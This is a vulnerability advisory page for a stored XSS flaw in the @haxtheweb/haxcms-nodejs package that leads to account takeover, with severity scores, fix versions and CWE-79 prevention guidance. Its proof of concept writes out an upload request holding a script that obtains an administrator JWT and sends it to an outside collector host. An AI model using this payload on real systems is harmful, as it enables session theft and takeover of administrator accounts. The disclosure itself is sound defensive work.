Skip to content

GHSA-3fm2-xfq7-7778 CVE-2026-22704

HAXcms Has Stored XSS Vulnerability that May Lead to Account Takeover

Medium npm
Severity
8.0 / 10
Medium · CVSS 3.1
Exploit chance (EPSS)
1.03%
Chance of exploitation in the next 30 days. Higher than 63.62% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Fix
25.0.0
Upgrade @haxtheweb/haxcms-nodejs to this version or later

Description

Summary

Stored XSS Leading to Account Takeover

Details

The Exploit Chain: 1.Upload: The attacker uploads an .html file containing a JavaScript payload. 2.Execution: A logged-in administrator is tricked into visiting the URL of this uploaded file. 3.Token Refresh: The JavaScript payload makes a fetch request to the /system/api/refreshAccessToken endpoint. Because the administrator is logged in, their browser automatically attaches the haxcms_refresh_token cookie to this request. 4.JWT Theft: The server validates the refresh token and responds with a new, valid JWT access token in the JSON response. 5.Exfiltration: The JavaScript captures this new JWT from the response and sends it to an attacker-controlled server. 6.Account Takeover: The attacker now possesses a valid administrator JWT and can take full control of the application.

Vulnerability recurrence:

<img width="1198" height="756" alt="image" src="https://github.com/user-attachments/assets/7062d542-702e-4cbe-8493-da0f71e790c3" />

Then we test access to this html

<img width="1433" height="1019" alt="image" src="https://github.com/user-attachments/assets/6c72c92f-a151-4b0e-b6ba-d83ffb771253" />

You can obtain other people's identity information

<img width="1082" height="290" alt="image" src="https://github.com/user-attachments/assets/23398ea4-f08c-47bd-b2f1-89071af0e275" />

PoC

POST /system/api/saveFile?siteName=yu&site_token=neWmRyvNbCCwiQ7MP2ojAjVMk-HtjlKYNOqsQjLt3RQ&jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IlVqUzd6NFRFano1Q2xUMERiNnU0RmFROWJZSXgyMjd5OHN2NzRWb1hLbFkiLCJpYXQiOjE3NTUyNDYxODYsImV4cCI6MTc1NTI0NzA4NiwidXNlciI6ImFkbWluIn0.XrXr427aKbyw97aDjD2OX128DznGtw_CHMALAeodb0M HTTP/1.1 Host: 192.168.1.72:8080 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW Connection: close Content-Length: 1128

------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="bulk-import"

true ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="file-upload"; filename="files/pwn1116.html" Content-Type: text/plain

<script> // This version adds headers to make the request look more legitimate. fetch('/system/api/refreshAccessToken', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: '{}' // Sending an empty JSON object body }) .then(response => { if (!response.ok) { throw new Error('Network response was not ok ' + response.statusText); } return response.json(); }) .then(data => { var stolenJWT = data.jwt; var attackerUrl = 'https://zqtqii0n7ptm168btd4htrntrkxbl29r.oastify.com/log?jwt=' + stolenJWT; fetch(attackerUrl); }) .catch(error => { var attackerUrl = 'https://zqtqii0n7ptm168btd4htrntrkxbl29r.oastify.com/log?error=' + error.message; fetch(attackerUrl); }); </script>

<h1>Processing your request...</h1> ------WebKitFormBoundary7MA4YWxkTrZu0gW--

Impact

The attacker now possesses a valid administrator JWT and can take full control of the application.

Affected versions

npm

PackageVulnerableFixed in
@haxtheweb/haxcms-nodejs
>= 11.0.6, < 25.0.0
25.0.0

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

@haxtheweb/haxcms-nodejs npm → 25.0.0

npm
npm install @haxtheweb/haxcms-nodejs@25.0.0
yarn
yarn add @haxtheweb/haxcms-nodejs@25.0.0
pnpm
pnpm add @haxtheweb/haxcms-nodejs@25.0.0

Severity breakdown

CVSS 3.1 8.0

CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H

Attack vector
Network
Attack complexity
High
Privileges required
Low
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

How to prevent it
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
  • Implementation, Architecture and Design: Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Cascading Style Sheets and style property etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
  • Architecture and Design, Implementation: Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Architecture and Design: If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
  • Implementation: Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
  • Implementation: With Struts, write all data from form beans with the bean's filter attribute set to true.
  • Implementation: To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended. Note that proper output encoding, escaping, and quoting is the most ef
  • Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
  • Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
  • Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-g2g8-95qg-v35h
HaxCMS has a stored Cross-Site Scripting (XSS) bypass in its saveNode endpoint
High Also affects @haxtheweb/haxcms-nodejs
GHSA-9r33-xhw8-4qqp
HAX CMS: Denial of Service using Malicious Import Request
Medium Also affects @haxtheweb/haxcms-nodejs
GHSA-x3x5-7h4h-gwxg
HAXcms: Mass Token Exfiltration and Cross-Tenant Hijack
High Also affects @haxtheweb/haxcms-nodejs
GHSA-jh3h-rpxg-fr36
Stored XSS via <iframe> in HAX CMS allows access to sensitive client-side data and account takeover
High Also affects @haxtheweb/haxcms-nodejs
GHSA-6c8g-9hfh-pq5h
HAXcms: Private Key Disclosure via Broken HMAC Implementation
Critical Also affects @haxtheweb/haxcms-nodejs
GHSA-2m6p-hm3w-6jm3
HAX CMS: Stored XSS via '<video-player>' component allows arbitrary JavaScript execution and token theft
Medium Also affects @haxtheweb/haxcms-nodejs
GHSA-q862-gcgq-5m6g
HAXcms createSite SSRF Enables Arbitrary File Read
High Also affects @haxtheweb/haxcms-nodejs
GHSA-9jr9-8ff3-m894
HAX CMS API Lacks Authorization Checks
High Also affects @haxtheweb/haxcms-nodejs
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor